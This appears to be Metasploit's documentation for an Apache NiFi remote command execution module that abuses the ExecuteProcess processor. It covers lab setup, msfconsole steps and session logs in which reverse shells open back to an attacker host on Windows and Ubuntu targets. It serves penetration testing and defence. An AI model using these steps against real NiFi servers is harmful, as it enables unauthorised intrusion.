## Vulnerable Application

Apache NiFi is a tool that automates the flow of data between systems. It is written in Java and allows users to configure "dataflows" using
the web UI or the API. The web UI uses the API behind the scenes. According to [Wikipedia](https://en.wikipedia.org/wiki/Apache_NiFi), it is
based on "NiagaraFiles", which was developed by the NSA and open-sourced in 2014. This is where the name NiFi came from.

It can be downloaded from [nifi.apache.org](https://nifi.apache.org/) where source and compiled Java binaries are available that will run on
Windows, Linux and MacOS. Older releases are also available and a docker image is also available from
[docker hub](https://hub.docker.com/r/apache/nifi/).

This exploit module uses the
[ExecuteProcess](https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/org.apache.nifi.processors.standard.ExecuteProcess/)
processor, which is part of the standard processors collection that is included with NiFi. It allows OS commands to be executed, by design.
Other processors that can be used to execute code/commands are also included in the standard processors collection. These processors are all
[restricted components](https://nifi.apache.org/docs/nifi-docs/html/developer-guide.html#restricted). ExecuteProcess was chosen because it
is relatively simple to use, does not depend on any scripting languages being installed, and is not marked as "experimental".

Default configuration is to serve over plaintext HTTP and require no authentication. In this configuration it is not possible to configure
any authorisation controls, therefore it is possible to interact with the application via the API without having to supply credentials.

It is possible (and recommended) to configure NiFi to require authentication, either by using ssl client certificates or other 3rd party
authentication mechanisms. Once Authentication is enabled, authorisation can be configured to control which features are available to a
specific user account.

If authentication and authorisation is enabled, the account used must have the following permissions in order to achieve remote command
execution using this module:

* Permission to "view" and "modify" the root controller.
* Permission to "access restricted components", "regardless of restrictions".

If authentication is required, then the `USERNAME` and `PASSWORD` options can be used to specify credentials. Alternatively, if a more
complex authentication flow is required (such as OpenId Connect), or a session token has already been obtained, a session token in the form
of a JWT can be set using the `TOKEN` option. This module does not support authentication using a client certificate.

Verified against 1.12.1, 1.12.1-RC2, and 1.20.0

### Configuring a Vulnerable Environment

#### Docker

```
docker run -p 8443:8443 -d apache/nifi:1.20.0
```

#### Windows

1. Download the NiFi binaries zip file from [nifi.apache.org](https://nifi.apache.org/download.html).
2. Extract the files.
3. Start NiFi by running  `bin\run-nifi.bat`.
4. NiFi will be available over HTTP on port 8080 (be patient, NiFi takes some time to start).
5. Disable Windows Defender so that it doesn't block Metasploit's reverse shell payload.

#### Linux/Unix

##### Without Authentication

1. Download the NiFi binaries tar.gz file from [nifi.apache.org](https://nifi.apache.org/download.html).
2. Extract the files.
3. Start NiFi by running  `./bin/nifi.sh start`.
4. NiFi will be available over HTTP on port 8080 (be patient, NiFi takes some time to start).

##### With Authentication

1. Follow steps 1 to 4 above and confirm that NiFi is available on port 8080.
3. Download the NiFi toolkit tar.gz from [nifi.apache.org.](https://nifi.apache.org/download.html)
4. Extract the files.
5. Generate files for TLS configuration by running `./bin/tls-toolkit.sh standalone -n "localhost"`.
6. Copy the files that were generated in step 4 to the NiFi `conf` directory, e.g. `mv localhost/* ../nifi-1.12.0/conf/`.
7. Generate a client certificate by running `./bin/tls-toolkit.sh standalone -C "CN=my_username, OU=NiFi"`.
9. Copy the `.p12` and `.password` files that were generated in step 6 to the system with the browser that you will be using to access the
NiFi web UI.
10. Add the `.p12` client certificate to the operating system/browser. The password for the certificate is inside the `.password` text file.
11. Edit the `authorizers.xml` file in the `conf` directory (what you put in this file must match **exactly** what you used in step 6,
    including capitalisation and whitespace):
    1. Replace `<property name="Initial User Identity 1"></property>` in the `userGroupProvider` section with `<property name="Initial User
       Identity 1">CN=my_username, OU=NiFi</property>`.
    2. Replace `<property name="Initial Admin Identity"></property>` in the `accessPolicyProvider` section with `<property name="Initial
       Admin Identity">CN=my_username, OU=NiFi</property>`.
12. Restart NiFi by running  `./bin/nifi.sh restart`.
13. NiFi will be available over HTTPS (**on the local machine only**) on port 9443 (be patient, NiFi takes some time to start).
14. Ensure that you can access the web UI and authenticate using the client certificate. If you do not have a web browser available on the
    system running NiFi, you will have to forward port 9443 to that system first, e.g. `ssh -L 9443:127.0.0.1:9443 <username>@<host>`. Once
    authenticated, the user that you configured when generating the certificate will be displayed in the top right of the UI.
13. Click the hamburger button in the top right and select "Users".
14. Add a user of `cn=admin,dc=example,dc=org` (this is the user that you will authenticate with using LDAP later).
15. In the "Operate" panel on the left of the UI, click on the key icon to configure the access policies on the root component.
16. Give the `cn=admin,dc=example,dc=org` user that was added in step 14 permission to view the component.
17. Give the `cn=admin,dc=example,dc=org` user that was added in step 14 permission to modify the component and close the panel.
18. Click the hamburger button in the top right and select "Policies".
19. Give the `cn=admin,dc=example,dc=org` user that was added in step 14 permission to "access restricted components", "regardless of
    restrictions" and close the panel.
20. Run OpenLDAP on the system. An easy way is to run `docker run --name my-openldap -p 389:389 -p 636:636 -d osixia/openldap`. This comes
    preconfigured with a user of `admin` with the password `admin`
21. Edit the `nifi.properties` file in the `conf` directory:
    1. Replace the line `nifi.security.user.login.identity.provider=` with `nifi.security.user.login.identity.provider=ldap-provider`.
22. Edit the `login-identity-providers.xml` file in the `conf` directory:
    1. Uncomment the`<provider>` element containing the  `ldap-provider` settings.
    2. Replace `<property name="Authentication Strategy">START_TLS</property>` with
       `<property name="Authentication Strategy">SIMPLE</property>`.
    3. Replace `<property name="Manager DN"></property>` with `<property name="Manager DN">cn=admin,dc=example,dc=org</property>` what you
       put here must match **exactly** what you use in step 6, including capitalisation and whitespace.
    4. Replace `<property name="Manager Password"></property>` with `<property name="Manager Password">admin</property>`.
    5. Replace `<property name="Url"></property>` with `<property name="Url">ldap://127.0.0.1</property>`.
    5. Replace `<property name="User Search Base"></property>` with `<property name="User Search Base">dc=example,dc=org</property>`.
    5. Replace `<property name="User Search Filter"></property>` with `<property name="User Search Filter">cn={0}</property>`.
23. Restart NiFi by running  `./bin/nifi.sh restart`.
24. NiFi will be available over HTTPS (**on the local machine only**) on port 9443 (be patient, NiFi takes some time to start).
25. Ensure that you can access the web UI and authenticate using the username `admin` and password of `admin`. Remember that in step 12 you
    may have needed to forward the port to the local machine. In order to be prompted for credentials, you must not authenticate using the
    certificate like you did in step 12. You may have to take steps to prevent your browser from automatically submitting the certificate,
    such as restarting the browser. A message will be displayed saying that you do not have permission to access the webUI. This is
    expected, and indicates that NiFi does recognise the account.

#### Useful links

[NiFi Getting Started](https://nifi.apache.org/docs/nifi-docs/html/getting-started.html) (including installation on Windows/Linux/Unix).

[NiFi Walkthroughs](https://nifi.apache.org/docs/nifi-docs/html/walkthroughs.html) (including installation on Unix and enabling HTTPS).

[NiFi, Authentication and Authorization](https://ijokarumawak.github.io/nifi/2016/11/15/nifi-auth/) (configuring LDAP authentication).

## Verification Steps
1. Install the application.
1. Start msfconsole.
1. Do: `use exploit/multi/http/apache_nifi_processor_rce`.
1. Do: `set rhosts <ip address of NiFi host> `.
1. Do: `set lhost <ip address of metasploit machine`.
1. If necessary, do: `set rport <port of NiFi API>`.
1. If necessary, do: `set ssl true`.
1. If necessary, do: `set username <NiFi username>`.
1. If necessary, do: `set password <NiFi password>`.
1. If necessary, do: `set target 1` (this sets the target to Windows instead of Unix).
1. Do: `run`.
1. You should get a shell.

## Options

### TARGETURI

The base NiFi API path. Default: `/nifi-api`.

### DELAY

The delay in seconds before stopping and deleting the processor. This is required because the processor may not start immediately after
being created. Default: `5`.

### USERNAME

Username to authenticate with, if necessary. Optional.

### PASSWORD

Password to authenticate with, if necessary. Optional.

### BEARER-TOKEN

JWT authenticate with, if necessary. Optional.

## Scenarios

The version of NiFi that was installed on both platforms was 1.12.1.

### Windows 10.0.18363 Pro (no authentication required)

```
$ msfconsole -q
msf5 exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce
[*] Using configured payload cmd/unix/reverse_bash
msf5 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf5 exploit(multi/http/apache_nifi_processor_rce) > set target 1
target => 1
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rhost 192.168.194.140
rhost => 192.168.194.140
msf5 exploit(multi/http/apache_nifi_processor_rce) > check
[*] 192.168.194.140:8080 - The target appears to be vulnerable.
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444 
[*] Waiting 5 seconds before stopping and deleting
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.140:50008) at 2020-10-03 13:17:58 +0100
[*] Session 1 created in the background.
msf5 exploit(multi/http/apache_nifi_processor_rce) > sessions

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell cmd/windows  Microsoft Windows [Version 10.0.18363.1082] (c) 2019 Microsoft Corporation. A...  192.168.194.131:4444 -> 192.168.194.140:50008 (192.168.194.140)
```

### Ubuntu Server 20.04.1 (authentication required)

It can be seen that it fails the first time because authentication is required, but succeeds after credentials are set.

```
$ msfconsole -q
msf5 exploit(multi/http/apache_nifi_processor_rce) > use multi/http/apache_nifi_processor_rce
[*] Using configured payload cmd/unix/reverse_bash
msf5 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/http/apache_nifi_processor_rce) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf5 exploit(multi/http/apache_nifi_processor_rce) > set rport 9443
rport => 9443
msf5 exploit(multi/http/apache_nifi_processor_rce) > check
[*] 127.0.0.1:9443 - The service is running, but could not be validated.
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444 
[-] Exploit aborted due to failure: bad-config: Authentication is required. Bearer-Token or Username and Password must be specified
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/apache_nifi_processor_rce) > set username admin
username => admin
msf5 exploit(multi/http/apache_nifi_processor_rce) > set password admin
password => admin
msf5 exploit(multi/http/apache_nifi_processor_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444 
[*] Waiting 5 seconds before stopping and deleting
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:50802) at 2020-10-03 13:18:00 +0100
[*] Session 1 created in the background.
msf5 exploit(multi/http/apache_nifi_processor_rce) > sessions

Active sessions
===============

  Id  Name  Type               Information                                                                       Connection
  --  ----  ----               -----------                                                                       ----------
  1         shell cmd/unix                                                                                       192.168.194.131:4444 -> 192.168.194.130:50802 (127.0.0.1)
```

